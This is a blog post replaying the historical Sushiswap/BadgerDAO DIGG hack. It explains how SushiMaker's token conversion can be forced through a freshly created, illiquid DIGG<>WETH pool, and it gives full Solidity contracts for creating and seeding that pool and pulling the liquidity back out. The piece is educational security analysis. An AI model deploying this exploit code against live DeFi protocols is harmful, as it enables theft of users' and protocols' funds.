Replaying Ethereum Hacks — Sushiswap BadgerDAO’s Digg

Background

  1. DIGG <> WTBC Sushiswap Pair
  2. SushiMaker

Sushiswap Pair

// simplified for readability
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo(); // SushiMaker address
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
// mints liquidity tokens for feeTo
if (liquidity > 0) _mint(feeTo, liquidity);
}
}

SushiMaker

  • WBTC: WBTC -> WETH -> SUSHI
  • DIGG: DIGG -> WBTC -> WETH -> SUSHI
// this functions gets called recursively
// _convertStep(token0 = WBTC, token1= DIGG)
// trades WBTC -> ETH, DIGG -> ETH
// __convertStep(ETH, ETH)
// trades ETH -> SUSHI
function _convertStep(
address token0,
address token1,
uint256 amount0,
uint256 amount1
) internal returns (uint256 sushiOut) {
if (token0 == token1) {
uint256 amount = amount0.add(amount1);
if (token0 == sushi) {
// ...
} else if (token0 == weth) {
sushiOut = _toSUSHI(weth, amount);
} else {
// ...
}
} /* other cases */ else {
// eg. DIGG - WBTC
address bridge0 = bridgeFor(token0);
address bridge1 = bridgeFor(token1);
if (bridge0 == token1) {
// ...
} else if (bridge1 == token0) {
// ...
} else {
sushiOut = _convertStep(
bridge0,
bridge1, // eg. DIGG - WBTC - and bridgeFor(WBTC) = WETH
_swap(token0, bridge0, amount0, address(this)),
_swap(token1, bridge1, amount1, address(this))
);
}
}
}

Exploit

  1. Create the missing DIGG <> WETH pair.
  2. Provide a tiny amount of liquidity, creating a very illiquid pool.
  3. Call the SushiMaker.convert(DIGG, WBTC) function to trade all accumulated DIGG in the shallow pool. The SushiMaker contract ends up trading a large number of DIGG tokens for a negligible amount of WETH.
  4. Rug pull: Withdraw all liquidity again. The attacker receives the DIGG from the SushiMaker trade.
  5. Sell DIGG in the more liquid DIGG <> WBTC pair.

Implementation

modifier onlyEOA() {
// Try to make flash-loan exploit harder to do.
require(msg.sender == tx.origin, "SushiMaker: must use EOA");
_;
}

function convert(address token0, address token1) external onlyEOA() {
_convert(token0, token1);
}

Creating the missing WETH pool and adding liquidity

function createAndProvideLiquidity(
IERC20 wethBridgeToken, // WBTC
IERC20 nonWethBridgeToken // DIGG
) external payable returns (IUniswapV2Pair pair) {
// first acquire both tokens for vulnerable pair
// we assume one token of the pair has a WETH pair
// deposit all ETH for WETH
// trade WETH/2 -> wethBridgeToken -> nonWethBridgeToken
WETH.deposit{value: msg.value}();
WETH.approve(address(sushiRouter), msg.value);
address[] memory path = new address[](3);
path[0] = address(WETH);
path[1] = address(wethBridgeToken);
path[2] = address(nonWethBridgeToken);
uint256[] memory swapAmounts =
sushiRouter.swapExactTokensForTokens(
msg.value / 2,
0,
path,
address(this),
type(uint256).max
);
uint256 nonWethBridgeAmount = swapAmounts[2];

// create pair
pair = IUniswapV2Pair(
sushiFactory.createPair(address(nonWethBridgeToken), address(WETH))
);

// add liquidity
nonWethBridgeToken.approve(address(sushiRouter), nonWethBridgeAmount);
sushiRouter.addLiquidity(
address(WETH),
address(nonWethBridgeToken),
msg.value / 2, // rest of WETH
swapAmounts[2], // all DIGG tokens we received
0,
0,
address(this),
type(uint256).max
);
}

SushiMaker trades in illiquid pool

await sushiMaker.connect(attackerEOA).convert(WBTC, DIGG)
const diggWethPair = await ethers.getContractAt(
`IUniswapV2Pair`,
await sushiFactory.getPair(weth.address, DIGG)
)
// can check if SushiMaker's DIGG is in reserve
const [reserveDigg, reserveWeth] = await diggWethPair.getReserves()

Rug Pull

function rugPull(
IUniswapV2Pair wethPair, // DIGG <> WETH
IERC20 wethBridgeToken // WBTC
) external payable {
// redeem LP tokens for underlying
IERC20 otherToken = IERC20(wethPair.token0()); // DIGG
if (otherToken == WETH) {
otherToken = IERC20(wethPair.token1());
}
uint256 lpToWithdraw = wethPair.balanceOf(address(this));
wethPair.approve(address(sushiRouter), lpToWithdraw);
sushiRouter.removeLiquidity(
address(WETH),
address(otherToken),
lpToWithdraw,
0,
0,
address(this),
type(uint256).max
);

// trade otherToken -> wethBridgeToken -> WETH
uint256 otherTokenBalance = otherToken.balanceOf(address(this));
otherToken.approve(address(sushiRouter), otherTokenBalance);
address[] memory path = new address[](3);
path[0] = address(otherToken);
path[1] = address(wethBridgeToken);
path[2] = address(WETH);

uint256[] memory swapAmounts =
sushiRouter.swapExactTokensForTokens(
otherTokenBalance,
0,
path,
address(this),
type(uint256).max
);

// convert WETH -> ETH
WETH.withdraw(swapAmounts[2]);
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "final transfer failed");
}

Conclusion

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store